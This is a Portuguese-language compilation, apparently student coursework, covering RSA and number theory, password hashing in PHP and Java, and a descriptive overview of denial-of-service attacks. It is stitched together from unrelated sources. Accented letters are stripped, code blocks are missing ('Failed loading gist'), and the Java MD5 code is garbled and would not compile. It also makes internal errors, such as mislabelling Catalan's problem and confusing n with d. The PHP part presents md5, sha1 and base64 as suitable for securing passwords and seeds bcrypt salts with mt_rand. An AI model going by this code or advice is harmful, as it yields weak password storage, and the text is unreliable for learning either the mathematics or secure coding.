Massachussets Institute of Technology (M.I.T.), uma das melhores universidades americanas.
As letras RSA correspondem s iniciais dos inventores do cdigo. H vrios outros cdigos de
chave pblica, mas o RSA continua sendo o mais usado em aplicaes comerciais.

O Mtodo RSA
A descrio completa do funcionamento do RSA justamente o tema desta apostila.
Para entender como funciona precisaremos estudar vrias ideias e tcnicas novas de
matemtica. Nesta seo explicaremos apenas o suficiente sobre o RSA para que voc entenda
48

como possvel um problema ser fcil de fazer e difcil de desfazer. Isto tambm nos ajudar
a identificar os problemas matemticos que precisaremos abordar para poder discutir os
detalhes do funcionamento do RSA.
Digamos que voc vai criar uma implementao do RSA para uma determinada loja,
que vai us-lo na codificao de dados de clientes em compras pela internet. Para comear,
voc precisa escolher dois nmeros primos distintos e multiplic-los, obtendo um nmero
inteiro n. A loja manter secreta a informao sobre quais so os primos escolhidos, porque
isto que necessrio para decodificar as mensagens enviadas usando a verso do RSA que voc
est construindo. J n vai ser enviado para o computador de qualquer pessoa que compre nessa
loja pela web, porque dele que o computador do usurio necessita para codificar os dados
sobre o do carto de crdito e envi-los ao computador da loja. Portanto, no caso do RSA, o
problema fcil de fazer e difcil de desfazer simplesmente multiplicar dois primos.
J consigo imaginar voc pensando: S isso? Mas para desfazer o problema basta fatorar
o nmero e achar os primos! verdade, mas h um detalhe que esqueci de contar: estes nmeros
primos sero muito, muito grandes. Na prtica uma chave segura de RSA gerada a partir de
nmeros primos de cerca de 100 algarismos cada, de forma que n, que o produto destes
primos, ter cerca de 200 algarismos. Acontece que, como veremos na pgina 29, podem ser
necessrios zilhes de anos para fatorar um nmero deste tamanho e achar seus fatores primos
mesmo se usarmos os mais poderosos computadores existentes atualmente.
Resumindo:

Para implementar o RSA escolhemos dois primos distintos muito grandes p e q e


calculamos o produto n = p q;

Para codificar uma mensagem usamos n;

Para decodificar uma mensagem usamos p e q;

n pode ser tornado pblico;

p e q precisam ser mantidos em segredo;

Quebrar o RSA consiste em fatorar n, que leva muito tempo se n for grande.

Teoria de Nmeros
O que vimos acima sugere que os principais problemas matemticos relacionados ao RSA
so: como achar nmeros primos e como fatorar um nmero. A rea da matemtica a que estes
problemas pertencem conhecida como teoria de nmeros e tem por objetivo geral o estudo

49

das propriedades dos nmeros inteiros. Entre os problemas que teremos que estudar para
podermos descrever completamente o RSA tambm esto:

Como calcular os restos da diviso de uma potncia por um nmero dado;

Como achar um nmero que deixa restos especificados quando dividido por uma srie
de nmeros dados;

Como estabelecer critrios de divisibilidade por nmeros primos.

H muitos outros problemas que so parte da teoria dos nmeros, mas dos quais no
trataremos aqui, entre eles:
1. calcular o mximo divisor comum entre dois nmeros dados;
2. determinar todos os inteiros a, b e c que satisfazem a2+b2 = c2;
3. mostrar que se trs inteiros a, b e c satisfazem an + bn = cn, onde n > 2 um inteiro positivo,
ento a, b ou c tm que ser iguais a zero;
4. provar que 22n + 1 composto se n > 4;
5. provar que todo nmero par soma de dois primos mpares;
6. determinar todos os inteiros consecutivos que so potncias de nmeros inteiros.

Os problemas acima tm grau de dificuldade muito varivel. A soluo de alguns deles


conhecida desde a antiguidade, como o caso de (1) e (2). Na verdade, bem provvel que
voc saiba resolver (1) usando o mtodo descrito por Euclides em seu livro Elementos escrito
por volta de 300 a.C.; j (2) est relacionado ao Teorema de Pitgoras o que talvez baste para
lembrar-lhe de algumas solues possveis.
Todas as outras questes so muito mais difceis. Para comear temos (3), que muito
parecida com (2), exceto pelo fato do expoente n ter que ser pelo menos 3. Este problema tem
uma histria muito interessante. Em algum momento entre 1621 e 1636 o francs Pierre de
Fermat, magistrado da corte de Toulouse, adquiriu uma cpia da recm-publicada traduo
latina da Aritmtica escrita pelo matemtico grego Diofanto mais de mil anos antes. Fermat,
que era um matemtico amador, leu o texto de Diofanto, fazendo vrias anotaes na margem
do texto. Em uma dessas anotaes ele afirmou ter uma demonstrao do fato enunciado em
(3) mas, segundo ele, o espao disponvel na margem do livro no seria suficiente para conter
seu argumento. improvvel que a demonstrao de Fermat estivesse correta, j que o resultado
permaneceu sem demonstrao at 1995. Como este foi o ltimo resultado enunciado por
Fermat a ser demonstrado, tornou-se conhecido como o ltimo Teorema de Fermat. Para
complicar, os mtodos usados por A. Wiles em sua prova de (3) so extremamente sofisticados
50

e sequer existiam h 50 anos atrs. A questo (4) outra que est ligada ao nome de Fermat.
Na verdade, o nmero F(n) = 22n + 1 conhecido como o n-simo nmero de Fermat porque,
em uma de suas cartas a um outro matemtico, Fermat props que F(n) seria sempre primo,
qualquer que fosse o valor de n. De fato, calculando F(n) para n de 0 a 4 obtemos os nmeros
listados na tabela 2, que so todos primos. Aparentemente, foi nessa tabela que Fermat baseouse para fazer a sua afirmao. Infelizmente, generalizar a partir de alguns casos sempre uma
prtica perigosa em matemtica e, neste caso, Fermat deu-se realmente mal. Nenhum nmero
primo da forma F(n) conhecido quando n > 4, da o problema enunciado em (4), que ningum
at hoje sabe como resolver.

A questo (5) conhecida como Conjectura de Goldbach, em homenagem a Christian


Goldbach, um outro matemtico amador, que viveu na mesma poca que Euler, com quem
trocava frequentes cartas sobre matemtica. Embora se saiba que todo nmero par com menos
de 18 algarismos seja mesmo a soma de dois primos mpares, ningum at hoje conseguiu
provar o enunciado de Goldbach. Apesar disso, alguns resultados parciais so conhecidos. Um
dos mais recentes foi a demonstrao descoberta em 2002 por Roger Heath-Brown e JanChristoph Schlage-Puchta de que todo nmero par muito grande pode ser escrito como a soma
de dois primos mpares e exatamente 13 potncias de 2. Se voc tentar descobrir duas potncias
de inteiros pequenos, que sejam consecutivas, vai logo dar de cara com 8 e 9, que so iguais a
23 e 32, respectivamente. Por mais que procure, no encontrar outros exemplos. Em vista
disso, o matemtico belga Eugne Charles Catalan props em 1844 que essas duas potncias
seriam as nicas solues do problema (5). Isto correto, como foi provado pelo matemtico
romeno Preda Mihailescu em 2002. Talvez voc tenha percebido que, embora os enunciados
das cinco questes acima sejam muito fceis de entender, resolv-las pode ser muito difcil: o
ltimo Teorema de Fermat levou mais de 300 anos para ser provado e o problema proposto por
Catalan levou 158 anos. Sem falar da conjectura de Goldbach e do problema relativo aos
nmeros de Fermat, que at hoje ningum sabe resolver.
51

Pr-codificao
O que fazemos para codificar uma mensagem no RSA calcular sua potncia mdulo n
relativamente a um expoente especialmente escolhido. Entretanto, para que isto seja vivel, a
mensagem deve ser um nmero inteiro. Mas no isto o que ocorre em geral: a maior parte das
mensagens um texto. Por isso, a primeira coisa a fazer, se desejamos usar o mtodo RSA,
inventar uma maneira de converter a mensagem em uma sequncia de nmeros. Suponhamos,
para simplificar, que a mensagem original um texto onde no h nmeros, apenas palavras, e
no qual todas as letras so maisculas. Portanto, em ltima anlise a mensagem constituda
pelas letras que formam as palavras e pelos espaos entre palavras. Chamaremos esta primeira
etapa de pr-codificao, para distingui-la do processo de codificao propriamente dito. Na
pr-codificao convertemos as letras em nmeros usando a seguinte tabela de converso:

O espao entre duas palavras ser substitudo pelo nmero 99, quando for feita a converso.
Por exemplo, a frase AMO A OBMEP convertida no nmero:
1022249910992411221425
Observe que precisamos fazer cada letra corresponder a um nmero de, pelo menos, dois
algarismos para evitar ambiguidades. Se fizssemos A corresponder ao nmero 1, B ao 2, e
assim por diante, no teramos como saber se 12 representa AB ou L, j que esta ltima a
dcima segunda letra do alfabeto. Antes de continuar precisamos determinar os parmetros do
sistema RSA que vamos usar. Estes parmetros so dois primos distintos, que vamos denotar
por p e q, e cujo resto na diviso por 6 tem que ser 5. Em seguida, ponha n = pq. A ltima fase
do processo de prcodificao consiste em quebrar em blocos o longo nmero produzido
anteriormente. Estes blocos devem ser nmeros menores que n. Por exemplo, se escolhermos p
= 17 e q = 23, ento n = 391. Neste caso, a mensagem, cuja converso numrica foi feita acima,
pode ser quebrada nos seguintes blocos:
102-224-99-109-92-41-122-142-5.
A maneira de escolher os blocos no nica e os blocos no precisam sequer ter o mesmo
tamanho. Contudo, certos cuidados devem ser tomados. Por exemplo, no permitido escolher
um bloco que comece por 0 porque isto traria problemas na hora de decodificar, j que, por

52

exemplo, no temos como distinguir o bloco 071 do bloco 71. Observe que os blocos em que
quebramos a mensagem no correspondem a nenhuma unidade lingustica, seja ela palavra,
letra ou qualquer outra. Isto muito bom, porque torna a decodificao por contagem de
frequncia essencialmente impossvel.

Codificando e Decodificando uma Mensagem


Encerramos assim a prcodificao, e podemos passar etapa de codificao
propriamente dita. Para codificar a mensagem precisamos apenas de n, que o produto dos
primos. Diremos que n a chave de codificao do sistema RSA que estamos usando. Esta
chave pode ser tornada pblica; isto , podemos envi-la a qualquer um que queira nos mandar
uma mensagem, sem preocupao de mant-la secreta. Por isso a chave de codificao tambm
conhecida como chave pblica do sistema.
Supondo que j submetemos a mensagem prcodificao, temos uma sequncia de
nmeros que, como na seo anterior, chamaremos de blocos. Codificaremos cada bloco
separadamente. A mensagem codificada ser a sequncia dos blocos codificados. Isto muito
importante porque depois de codificados os blocos no podem mais ser reunidos de modo a
formar um longo nmero. Se isto for feito, ser impossvel decodificar a mensagem.

Segurana
Antes de prosseguir para a explicao de porque o RSA funciona, conveniente discutir
com um pouco mais de detalhes em que se fundamenta a segurana do RSA. Neste contexto, o
termo chave quebrar o cdigo. Digamos que algum, que vamos chamar de A, pe uma escuta
(tambm conhecida como um grampo) na linha que uma empresa usa para transmitir
mensagens codificadas a um banco. Se o cdigo utilizado for o RSA, ento A vai ter acesso no
apenas s mensagens codificadas que a empresa envia ao banco (obtidas pelo grampo), mas
tambm chave de codificao n usada pela empresa que, afinal de contas, pblica.
Lembre-se que a chave n igual ao produto de dois nmeros primos p e q que foram
escolhidos pela empresa no momento em que sua implementao do RSA foi feita. Em
princpio, A no deveria ter nenhuma dificuldade em decodificar a mensagem. De posse de n,
precisaria apenas fator-lo, descobrir p e q e us-los para calcular d. Uma vez obtido d, a receita
de decodificao

53

pode ser aplicada para reconstituir a mensagem original. Embora tudo isto parea muito simples
em princpio, na prtica totalmente invivel. A razo est em um problema de natureza
tecnolgica: no existem computadores rpidos o suficiente, nem algoritmos bons o suficiente,
que nos permitam fatorar um nmero inteiro muito grande que no tenha fatores relativamente
pequenos. Lembre-se que, o tempo necessrio para fatorar um nmero de uns cem algarismos
pelo mtodo usual de tentativa imenso, e excede, em muito, a idade estimada do universo.
Entretanto, a afirmao que acabamos de fazer muito mais forte: no existe nenhum
algoritmo conhecido capaz de fatorar inteiros grandes de modo realmente eficiente. Na verdade,
no se sabe nem mesmo se possvel que um tal algoritmo exista! Mas, o que significa a palavra
grande neste contexto? Mais precisamente, quo grande deve ser a chave n usada no RSA para
que, mesmo tendo interceptado a mensagem codificada pela empresa e conhecendo n, o agente
A no seja capaz de achar p e q e, assim, decodificar a mensagem? A resposta que, atualmente,
as implementaes comerciais do RSA usam chaves pblicas com cerca de 200 algarismos,
mas algumas destas implementaes chegam a permitir chaves pblicas com at 2 467
algarismos.

Durante algum tempo, o RSA Laboratory, que pertence empresa que detm os direitos
do sistema de codificao RSA, lanou desafios, que consistiam de uma possvel chave pblica
de RSA que deveria ser fatorada. A ltima destas chaves a ser fatorada tem 193 algarismos e
corresponde ao produto dos primos:
16347336458092538484431338838650908598417836700330
92312181110852389333100104508151212118167511579
e:
1900871281664822113126851573935413975471896789968
515493666638539088027103802104498957191261465571

A fatorao foi finalizada em novembro de 2005 por F. Bahr, M. Boehm, J. Franke e T.


Kleinjung no Escritrio Federal de Segurana de Informao da Alemanha. Os clculos
utilizaram 80 computadores de 2.2 GHz cada um e, mesmo assim, foram necessrios 5 meses
para completar as contas! A maior das chaves proposta como desafio tem 617 algarismos e,
evidentemente, est longe de ser fatorada. Mais detalhes podem ser encontrados no verbete RSA
numbers da verso em ingls da Wikipedia. Na prtica, isto significa que se a empresa est
usando uma implementao do RSA com chave pblica de uns 200 algarismos, ento A no
54

tem a menor chance de ler a mensagem. Outro detalhe prtico importante que segue desta
argumentao que a empresa precisa calcular o valor de d a partir dos valores de p e q: se n
for calculado e p e q forem esquecidos, j no temos mais como determinar o valor de n, porque
ningum mais ser capaz de fatorar n. Portanto, primeiro escolhem-se p e q, que so usados
para calcular d; depois multiplicam-se p e q para determinar n. Uma vez de posse do par (n; d)
os valores de p e q podem at ser apagados por medida de segurana.

Pesquisa 1
Criptografia em PHP
Falaremos agora sobre segurana em PHP, sobre trs tipos de codificao/criptografia
(na verdade, hash) muito usados no PHP. Dois deles so hashes de mo nica ou one-way.
Com esse tipo de hash voc apenas codifica o texto.. No tem como, baseado no texto j
codificado, descobrir o texto original. O outro mo dupla, o que possibilita a criao de duas
funes: uma para codificar e outra para decodificar o texto.

MD5
A primeira que vou falar sem dvida a mais comum, chama md5 que um algoritmo
de um hash de 128 bits. No vou tentar explicar o que hash nem algoritmo agora S vou
explicar como voc pode usar o md5 na sua aplicao.
O md5 gera uma string alfanumrica de 32 caracteres, no importa se voc t gerando o
md5 de duas letras ou de um texto de 20 pargrafos O md5 gerado sempre vai ter 32
caracteres.
Voc pode usar o md5 na hora de salvar um dado sigiloso (senhas) o banco Com isso,
ningum tem acesso senha original do cliente. Depois s comparar o md5 do que foi digitado
no campo senha (na hora do login) com o que est armazenado no banco, se bater, t tudo certo.
Infelizmente o md5 tem um problema Voc pode, com muita dificuldade (preste ateno:
muita dificuldade), gerar dois md5 iguais. Duas strings diferentes que acabem como um mesmo
md5. Isso rarssimo, mas pode acontecer.
Pra usar o md5 no PHP s usar da seguinte forma:
SHA1
A outra hash de mo nica o sha1. Ele praticamente idntico ao md5, s que tem 160
bits, o que acaba criando uma string-resultado maior: 40 caracteres alfanumricos. Outro ponto

55

do sha1 que, por ser 160 bits e gerar uma cadeia de caracteres maior, uma coliso (encontrar
duas strings que, codificadas, sejam a mesma coisa) bem mais rara que numa chave de 128bits.
Usar o sha1 no PHP exatamente a mesma coisa que o md5, s que mudando o nome da funo:

BASE64
um mtodo para codificao dos dados para transferncia na Internet. Ela uma
codificao de mo dupla, e usando uma segunda funo voc pode descobrir a string original
de uma string codificada.
Para usar ela no PHP voc tem as duas formas:
Viram como simples? Com esses recursos possvel deixar a aplicao bem mais segura e,
por que no, organizada.

Documentao Oficial:
Funo [md5()](http://br.php.net/md5) Hash de mo nica
Funo [sha1()](http://br.php.net/sha1) Hash de mo nica
Funo [base64_encode()](http://br.php.net/base64_encode) Funo para codificar strings
usando base64
Funo [base64_decode()](http://br.php.net/base64_decode) Funo para decodificar strings
usando base64

Suporte ao bcrypt

O PHP suporta hashing via crypt () que est presente desde o PHP 4, e serve pra
trabalhar com hashings de mo nica (como o MD5 e SHA1).
Primeiro o cdigo completo da classe:
<?php
/**
* Bcrypt hashing class
*
* @author Thiago Belem <contato@thiagobelem.net>
* @link
https://gist.github.com/3438461
*/
class Bcrypt {
/**
* Default salt prefix
*
* @see http://www.php.net/security/crypt_blowfish.php
*

56

* @var string
*/
protected static $_saltPrefix = '2a';
/**
* Default hashing cost (4-31)
*
* @var integer
*/
protected static $_defaultCost = 8;
/**
* Salt limit length
*
* @var integer
*/
protected static $_saltLength = 22;
/**
* Hash a string
*
* @param string $string The string
* @param integer $cost
The hashing cost
*
* @see
http://www.php.net/manual/en/function.crypt.php
*
* @return string
*/
public static function hash($string, $cost = null) {
if (empty($cost)) {
$cost = self::$_defaultCost;
}
// Salt
$salt = self::generateRandomSalt();
// Hash string
$hashString = self::__generateHashString((int)$cost, $salt);
return crypt($string, $hashString);
}
/**
* Check a hashed string
*
* @param string $string The string
* @param string $hash
The hash
*
* @return boolean
*/
public static function check($string, $hash) {
return (crypt($string, $hash) === $hash);
}
/**
* Generate a random base64 encoded salt
*
* @return string
*/
public static function generateRandomSalt() {

57

// Salt seed
$seed = uniqid(mt_rand(), true);
// Generate salt
$salt = base64_encode($seed);
$salt = str_replace('+', '.', $salt);
return substr($salt, 0, self::$_saltLength);
}
/**
* Build a hash string for crypt()
*
* @param integer $cost The hashing cost
* @param string $salt The salt
*
* @return string
*/
private static function __generateHashString($cost, $salt) {
return sprintf('$%s$%02d$%s$', self::$_saltPrefix, $cost,
$salt);
}
}

Agora voc pode usar o mtodo:


<?php
// Encriptando a senha
$senha = 'ola mundo';
$hash = Bcrypt::hash($senha);
// $hash = $2a$08$MTgxNjQxOTEzMTUwMzY2OOc15r9yENLiaQqel/8A82XLdj.OwIHQm
// Salve $hash no banco de dados
// Verificando a senha
$senha = 'ola mundo';
$hash = '$2a$08$MTgxNjQxOTEzMTUwMzY2OOc15r9yENLiaQqel/8A82XLdj.OwIHQm';
// Valor retirado do banco
if (Bcrypt::check($senha, $hash)) {
echo 'Senha OK!';
} else {
echo 'Senha incorreta!';
}

Usando o bcrypt

O bcrypt precisa - obrigatoriamente - receber dois parmetros pra funcionar:


o salt e o custo de processamento. O salt nada mais do que a sua garantia de que, dado
um salt aleatrio, a mesma senha nunca ser igualmente hasheada duas vezes no

58

importa que voc criptografe a mesma senha 100 vezes, se o salt for diferente nas 100
vezes, o resultado final ser sempre diferente. Para o bcrypt funcionar:
O salt precisa ser uma string de 22 caracteres que respeite a expresso regular. /0-9AZa-z. O custo deve ser um nmero inteiro entre 4 e 31, outro detalhe que o custo
precisa ter dois dgitos, ento nmeros menores que 10 precisam ter zero esquerda
Fiz alguns testes e meu computador quase parou quando usei um custo de 15 O custo
a potncia de 2, ento 2^15 equivale a 32.768 ciclos, j 2^31 equivaleria a 2.147.483.648
ciclos
O custo de processamento influencia diretamente nas tentativas de ataque de fora bruta,
quanto maior, mais lento, quanto mais lento, melhor.

Criptografando senhas usando bcrypt


Basicamente,

pra

criptografar

senha

ol

mundo,

com

salt

Cf1f11ePArKlBJomM0F6aJ um custo de processamento de 8, voc faria algo assim:


Failed loading gist https://gist.github.com/3438858.json: timeout
<?php
$senha = 'ola mundo';
$custo = '08';
$salt = 'Cf1f11ePArKlBJomM0F6aJ';
// Gera um hash baseado em bcrypt
$hash = crypt($senha, '$2a$' . $custo . '$' . $salt . '$');

O que fizemos foi passar dois valores para a funo crypt(): o valor a ser criptografado
(a senha em si), e uma string $2a$08$Cf1f11ePArKlBJomM0F6aJ$, que composta por
trs partes (separadas por cifro):
O mtodo de hashing -- 2a -- que far com que o bcrypt/blowfish seja usado
O custo -- 08
O salt -- Cf1f11ePArKlBJomM0F6aJ
Isso no vai gerar o seguinte hash:
$2a$08$Cf1f11ePArKlBJomM0F6a.EyvTNh6W2huyQi5UZst5qsHVyi3w5x.
Que o valor que voc deve salvar no banco de dados.

59

Caso essa mesma senha seja criptografada com o mesmo salt e o mesmo custo, o
resultado ser idntico caso voc mude o salt (que deve ser gerado de forma aleatria) o
resultado seria diferente.
Vale lembrar que o hash gerado ter sempre 60 caracteres, ento voc pode modelar a
sua coluna que armazena a senha como CHAR(60) ou VARCHAR(60) se voc estiver usando
o MySQL. ;)

Verificando e validando senhas usando bcrypt


Agora suponhamos que o seu usurio est fazendo o login, e o nico valor que voc tem
o nome de usurio (ou email, tanto faz) e a senha que ele digitou no formulrio (ol mundo),
como comparar isso com o valor que est no banco para verificar se os dados esto vlidos?
J que voc est trabalhando com um salt gerado aleatoriamente, impossvel gerar um novo
hash que seja igual ao hash que est no banco correto? ERRADO! :)
Para comparar uma senha texto-plano com um j hasheado, s usar esse prprio valor
hasheado como hash da senha text-plano, vejam como simples:
Failed loading gist https://gist.github.com/3439074.json: timeout
ou no sensacional? Voc pode gerar o mesmo hash, tendo a senha original e o hash
resultado, sem precisar do salt original! :) Isso garante que voc pode gerar um salt aleatrio
sempre que for criptografar a senha de algum.
E a que o custo entra em jogo mesmo durante um ataque de fora bruta, o atacante
pode tentar diferentes combinaes de senha original mas o custo vai tornar a operao toda
to lenta que no vai valer o esforo.

Uma pequena classe para facilitar a sua vida


Criei uma pequena classe Bcrypt que ajuda a fazer esse trabalho todo atravs de dois
mtodos bem simples de usar:
Primeiro, o cdigo completo da classe:
Failed loading gist https://gist.github.com/3438461.json: timeout
Agora como voc pode usar os mtodos:
Failed loading gist https://gist.github.com/3439186.json: timeout
Pesquisa 2

60

Pesquisa em como utilizar os mtodos de criptografia utilizados no Passo 2, mas


linguagens Java e ASP (Active Server Pages). Observar que nessa pesquisa teremos 3 mtodos
de criptografia (base64 e outros dois mtodos resultados da pesquisa anterior).
Mtodo no Java
String texto =teste3;
messageDigest md = MessageDigest.getInstance(MD5);
md.update(texto.getBytes());
byte [] bytes = md.digest();
StringBuilders = new StringBuilder();
for () int i =0; i < bytes.length; i++){
int parteAlta = ((bytes [i] > > 4) & 0xf)< < 4;
int parteBaixa = bytes[i] & 0xf;
if (parteAlta == 0){
s.append(Integer.toHexString(parteAltaparteBaix));
System.out.printIn(Mr: + s2);
//Sada: Mr:bf99afd7f589db5b524cb34f316277b1
Import java.security.MessageDigest;
Import java.security.NoSuchAlgorithmException
Import sun.misc.BASE64Encoder;
Public class EncriptaSenha {
Public static String encripta (String senha) {

Segurana de rede Network Security

Nos dias de hoje, a segurana da rede anda de mo dada com a segurana dos
computadores, sendo difcil separ-los. Desde a porta do hotel, aos telefones celulares, aos
computadores de secretria, tudo se encontra ligado em rede. Desta forma, a exposio dos
sistemas coloca em xeque qualquer poltica de segurana que a entidade tente implementar, por
esse motivo necessrio um alerta permanente pelos administradores de rede das mesmas.

61

Ataques Negao de Servio: Denial-of-Service

62

Anatomia de um ataque qualquer


Imaginem a situao em que chega a casa depois do trabalho e que o telefone toca,
atende o telefone, mas ningum responde. Desliga o telefone e imediatamente ele toca,
novamente atende e a resposta a mesma. Naturalmente que aps vrios toques o normal ser
desligar o telefone, uma vez que no posso efetuar sequer chamadas. No dia seguinte chega ao
emprego e o patro pergunta: Onde esteve? Tentei ligar-lhe para casa mas tinha sempre o
telefone impedido!!!. Este um caso tpico em que algum consegue ocupar os recursos do

63

sistema, neste caso a linha telefnica, interferindo com o trfego legitimo que queria usar o
servio, o patro.

Como se pode ver algo difcil de se defender, a resposta passaria pela redundncia do
sistema, uma segunda linha telefnica. Mas ser vivel economicamente ter uma segunda linha
telefnica s para situaes destas em que no se sabe quando acontecer se que alguma vez
acontecer.

Em Setembro de 1996, um hacker ou um grupo de, atacou os computadores da PANIX


(Public Access Networks Corporation), um ISP de Nova Iorque. O que foi feito foi enviar
mensagens de Hello (SYN Packects) para os computadores da Panix. O que era normal
acontecer era os computadores da Panix responderem a este pedido para que o computador
remoto pudesse continuar a conversao. O que os atacantes fizeram foi, manipular o endereo
de retorno, do computador remoto, levando o computador da Panix tentar sincronizar com
computadores que no existem. Os computadores da Panix, esperavam cerca de 75 segundos
pela resposta (ACK) antes de abandonar a tentativa. Os hackers inundaram os computadores da
Panix com uma quantidade dessas mensagens por segundo. Resultou que os computadores de
Panix no conseguiam dar resposta enchente sbita de pedidos levando ao crash do sistema.
Este ataque denominado por Syn Flooding.
Este foi o primeiro exemplo publicitado de negao de servio denial of Service
realizado contra um host na Internet. Desde este, muitos outros foram realizados e esto a
acontecer neste preciso momento. Este tipo de ataques de negao, so um tipo de ataque
particularmente repugnante efetuado contra aos sistemas de comunicao, pois os sistemas de
comunicao foram criados para comunicar. O nico objetivo destruir e qualquer script
kid pode usar ferramentas criada por outros e despoletar um ataque de negao de servios. So
ataques que no servem para aprender, no so fruto de uma demonstrao de percia ou de
inteligncia, so isso sim, absolutamente ridculos pois no s afetam entidades idneas que
produzem riquezas, como demonstram um desprezo total pelas regras de netetiquete regra de
etiquetas da net e normalmente, so fceis de localizar o seu autor.

Imaginem um ataque caixa de correio da sua casa, existe um vizinho seu que por
qualquer motivo no gosta da cor da sua gravata e ento decide inscrev-lo em todas as
64

campanhas de vendas por correspondncia, de catlogos, solicitao de informaes, tudo o


que possa imaginar. Comea a receber na caixa de correio 200 a 300 cartas a responder aos seus
pedidos (pedidos forjados pelo seu vizinho), o que leva a que o correio a srio possa se perder
entre o lixo todo depositado na sua caixa, isto caso tenha uma caixa com capacidade para
tamanho volume. No caso do sistema de email passa-se o mesmo, ou seja, posso enviar uma
enchente de mensagens para uma determinada caixa de correio que os computadores vo
abaixo. o chamado mail bombing e uma forma de ataque efetivo, a melhor forma de o
realizar inscrever o endereo de email numa centena de mailling lists, levando a que o
computador da vtima fique sem espao em disco, ou sobrecarregar a ligao do email da vtima
levando perca de informao para a sua atividade. Sendo em parte difcil de conseguir
localizar o responsvel pela situao.
O que um ataque negao de servio DoS Denial-of-Service?
um ataque atravs do qual uma pessoa consegue colocar um sistema inutilizvel ou
abranda significativamente o sistema a ser utilizado por utilizadores legtimos, atravs da
sobrecarga do sistema de modo a que mais ningum tenha acesso a esse sistema.
Pode resultar que esse algum prejudique ou destrua recursos de modo a que mais ningum
possa utilizar esse sistema. Podem ser acidentais ou deliberados. So considerado deliberados,
quando um utilizador sem autorizao, executa uma ao a que leva uma sobrecarga dos
recursos. So acidentais quando os mesmos recursos se esgotam devido a uma ao no
prevista.
A maioria dos sistemas operativos (incluindo NT e numerosas variantes UNIX), routers,
e componentes de rede que tem que processar os pacotes a um nvel das camadas OSI, e que
so vulnerveis a este tipo de ataques. So difceis de prever e de prevenir, no entanto,
restringindo o acesso a sistemas crticos, recursos, e ficheiros, protegendo-os de utilizadores
no autorizados poder-se-o evitar muitos ataques.
O nmero de ataques DoS tem vindo a aumentar todos os dias, segundo a UC San Diego
cerca de 40.000 ataques so realizadas todas as semanas, isto em Agosto de 2001. Se um
atacante no consegue aceder a um determinado recurso, a maioria deles opta por crashar a
mquina atravs de um DoS. Significa que mesmo que tenhamos as mquinas seguras com os
ltimos patches somos ainda vulnerveis a este tipo de ataques.
Tipos de Ataques

65

Existem vrios tipos de ataques DoS. O primeiro passa por crashar o sistema ou rede.
Se um atacante poder enviar para a vtima, dados ou pacotes que o sistema no espera, vai levar
a que o computador tenha um comportamento para o qual no estava previsto, levando a
um crash ou shutdown, desta forma ningum ter acesso aos recursos do sistema. Do ponto de
vista do atacante, que se pode realizar este tipo de ataques tornando um sistema inacessvel
com poucos pacotes. Na maior parte das vezes, para reativar o sistema requer por vezes a
interveno do administrador da rede. Assim este primeiro tipo bastante prejudicial pois
requer pouco esforo para efetuar a interao humana para consertar.
O segundo tipo de ataque passa por inundar o sistema ou a rede com tanta informao
por forma ao sistema no possa dar resposta. Se um determinado sistema estiver dimensionado
para lidar com 100 pacotes por minuto, e um atacante enviar 10.000 ento quando os
utilizadores legtimos do sistema tentarem aceder no o podero fazer pois todos os recursos
esto exaustos. Quando o atacante parar de inundar o sistema ento este retoma a sua atividade
normal. Este tipo de ataque requer muita energia por parte do atacante pois este tem que estar
continuamente a inundar o sistema. Em alguns casos, este tipo de ataque pode crashar o sistema
mas no entanto para recuperar deste tipo de ataques requer uma interveno humana mnima.
Assim temos:
1. Consumo da largura de banda - Inundando a ligao da vtima, ou utilizando amplificadores
2. Escassez de Recursos
3. Falhas de Programao
4. Ataques de Routing e DNS
O mais importante a ter em conta que este tipo de ataques pode ser lanado a nvel
local ou utilizando a Internet.
Existem outros tipos de ataques de negao de servios. Alguns atacam computadores, como
os servidores de email ou servidores web, outros atacam os routers, outros servidores de bases
de dados, etc. A ideia sempre a mesma: inundar a vtima com uma quantidade de lixo que o
sistema vai abaixo.
Um exemplo o WinNuke, capaz de deitar abaixo uma verso do Windows95; algum
num nico ataque foi capaz de deitar abaixo, 6.000 computadores a correr o Windows95 na
Internet em Abril de 1999. Ataques deste tipo so comuns contra sites da web, servios como
o Akamai (um servio remoto em cache) torna estes ataques fceis de efetuar, e difceis de
detectar.
O Problema
66

Por vezes acontecem negao de servio, apenas porque houve uma ocorrncia anormal
de um fator com o qual no se esperava. O caso mais recente do servio SMS no natal, em que
toda a populao portuguesa decidiu utilizar este popular servio como forma de desejar votos
de feliz natal. Resultado, uma utilizao de pico no servio, levou a que os sistemas no
aguentassem a quantidade de pedidos, levando a um encerramento temporrio do servio. O
caso do resultado da candidatura universidade, um caso em que os candidatos tentavam ver
os resultados e esperaram alguns minutos, por vezes horas, para acederem listagem da sua
colocao. Poder ser isto considerado um ataque? Aqui ser apenas um erro de
dimensionamento, ou por vezes nem isso, apenas um gasto racional de recursos. No entanto
serve para demonstrar o problema que existe entre a distino de um ataque ou de um uso
anormal do servio provocado por uma situao extraordinria.

Solues
Alguns investigadores, propem a adopo de medidas que forcem o cliente a efetuar
um qualquer clculo para efetuar a ligao. A ideia que o cliente tenha que disponibilizar de
algum tempo computacional para efetuar a ligao, desta forma no poder inundar a vtima
com o nmero de ligaes. uma boa medida para ataques baseados na falha do protocolo
TCP/IP, no entanto no funciona contra um ataque de negao de servio distribudo.
Tenho lido afirmaes ou comentrios que uma das principais razes para estes ataques
ser a falta de autenticao na Internet. A meu ver serve apenas para possivelmente acusar meia
dzia de implicados num ataque que sero to vtimas como as prprias vtimas, no faz muito
sentido. Ataques de negao de servio fazem mossa nos sistemas apenas pela tentativa de
entregarem pacotes, se esses pacotes esto ou no autenticados irrelevante. Autenticao
mandatria no servir para prevenir estes ataques, ou para fazer o tracking dos atacantes.
Ajudaria isso sim se a autenticao se fizesse em cada ponto da rede por onde o pacote passa,
mas pensem s no possvel overhead a que um s pacote estaria sujeito. Isto implicaria uma
mudana no modo de funcionamento da Internet, reduziria consideravelmente a largura de
banda pois em vez de meramente encaminhar os pacotes, todos os switches e routers tinham
que os autenticar, isto para no falar nos hubs.
Outra soluo passaria por filtragem a larga escala efetuada pelos ISPs. se um rede
poder bloquear um ataque de negao de servio, este nunca atingiria o alvo. Aqui a
autenticao poderia ser til. No entanto filtragem de contedo a nvel do ISP requer um esforo
elevado financeiro e tcnico, reduzindo tambm a largura de banda. Similarmente, uma
67

modificao em larga escala no modo de funcionamento da Internet a nvel


dos routers eswitches da Internet, poderiam aliviar um pouco este problema da largura de
banda; eles poderiam recusar a fazer o foward de pacotes aparentemente forjados, uma vez mais
uma mudana bastante profunda.

